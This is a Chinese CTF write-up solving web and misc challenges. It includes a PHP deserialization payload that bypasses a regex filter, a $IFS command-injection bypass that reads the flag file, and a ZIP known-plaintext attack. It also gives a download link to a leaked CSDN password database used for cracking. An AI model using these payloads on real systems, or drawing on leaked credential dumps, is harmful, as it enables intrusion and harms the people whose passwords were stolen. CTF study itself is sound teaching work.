CTF比赛解题报告整理

安恒杯12月月赛解题报告

2019-01-18  本文已影响53人  蓝小俊

WEB

easy

<?php  
@error_reporting(1); //会返回当前的错误报告级别
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) //检测变量是否已设置并且非 NULL
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))  //file_get_contents — 将整个文件读入一个字符串,返回文件内容或者在失败时返回 FALSE.     
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);  //$matches填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>
preg_match('/[oc]:\d+:/i',$data,$matches);

说明:[ 符号标记一个中括号表达式的开始,表达式的结尾处的不区分大小写 i 标记指定不区分大小写。
匹配规则:匹配了[oc]:
绕过匹配参考资料:https://blog.spoock.com/2016/11/03/php-wakeup/

所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

但如果直接传值的话会,服务器接收到+号会被自动解码为空格,所以要对加号url编码:

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

访问:
即可得到flag:http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

flag.png
<?php
class baby
{
    public $file='./flag.php';
}
$a = new baby();
//echo serialize($a);
echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');

当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),在反序列化时,php就会调用__wakeup方法(如果存在的话),以此可以判断是否序列化成功
魔术方法__sleep(),__wakeup() - kacha886 - 博客园 https://www.cnblogs.com/kacha886/p/9115503.html
特别注意php7和php5的区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。

<?php
class baby
{
    public $file='./flag.php';
    function __wakeup(){
        echo 'Hello';
    }
}
$a = new baby();
$b=serialize($a);
$b='O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}';
unserialize($b);

WEB2

<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
    die("You are not admin...");
}
if (@$_POST['cmd']) {
    $cmd = waf_exec($_POST['cmd']);
    $retval = array();
    exec($cmd, $retval, $status);
    // var_dump($retval);
    if ($status == 0) {
        $res = implode("\n",$retval);
    }else{
        $res = 'error';
    }
}else{
    $res = '';
}

include './templates/admin.html';
<?php
session_start();

function waf_exec($str){
    $black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
        $str = preg_replace($black_str, "",$str);
        return $str;
    }

解题关键是如何绕过这个黑名单去读到flag,这里过滤了;&>{}%#?!@+还有空格都过滤了,但是$以及/都没被过滤,可以很好地执行命令,使用$IFS绕过空格,然后可以使用ls$IFS/查看上一级目录,最终cat$IFS/ffLAG_404命令得到flag

flag.png

知识点补充:
1.cookie和session :http://www.k0rz3n.com/2017/07/30/cookie/
2.bash命令执行常见绕过:https://www.jianshu.com/p/000a4ad1b933

MISC

签到题

JUJU

  1. 题目中提到11只juju,但是实际只有7只
    JUJU.png
    因此考虑图片显示不完全,16进制打开,修改长宽,02 38 改为04 38 显示完全
    winhex.png
    image.png
    得到字符串MZWGCZ33GQZTQMTEM5SGMMTEPU======,其中6等于号特征推测为base32(等于号在base编码中是补位的作用)
    通过解码得到flag:a213072327f762855e475779eb081ca3

学习资料

  1. 附件有两个,且其中一个和压缩文件中同名
  2. 压缩文件存在密码,考虑明文攻击


    image.png
  3. 压缩后crc32一致,可以进行明文攻击,使用AZPR进行破解,拿到压缩密码:1qazmko098
    image.png

特别说明:有些没爆破出来可能是用ARCHPR4.5.4进行的爆破,该版本进行明文攻击会有问题,建议使用ARCHPR4.5.3 ,另外使用不同的压缩软件压缩备忘录.txt也会导致最后无法找到明文

4.解压打开word,发现没啥东西,但是想到题目描述学习资料下的真实的东西,可能在图片下;移除图片还是没东西,考虑word的字符串设置了隐藏,因此在word设置中,勾线显示隐藏字符串即可看到flag Word.png
flag.png

也可以把docx的改后缀为zip,解压后在/word/document.xml里可见flag.

参考资料:CTF中压缩包解密的几种常见方式 - blus - CSDN博客 https://blog.csdn.net/q851579181q/article/details/84944900
ZIP明文攻击获得加密压缩包内文件_百度经验 https://jingyan.baidu.com/article/0f5fb0990bba086d8334eaf6.html
破解压缩包的几种方式(zip伪加密 爆破 CRC32碰撞 已知明文攻击) - 淚笑 - 博客园 https://www.cnblogs.com/leixiao-/p/9824557.html

变换的指纹

下载到社工库:ed2k://|file|www.csdn.net.sql|287238395|7C81CC2A2B57411BD107ACFF2BA8DDEE|/
提取密码进行爆破,正确密码是双引号中的内容:“!(()!@)6125dou ”,注意密码结尾有个空格。

指纹.gif
通过图片获得字符串:
23685 28276158 52365 72716835687172857481317
23685528276158852365572716835687172857481317
因为提示8进制:
[23,70,55,30,27,61,60,105,23,65,57,27,16,103,56,107,17,30,57,50,13,17]
后面还差一步,未完待续
上一篇 下一篇

猜你喜欢

热点阅读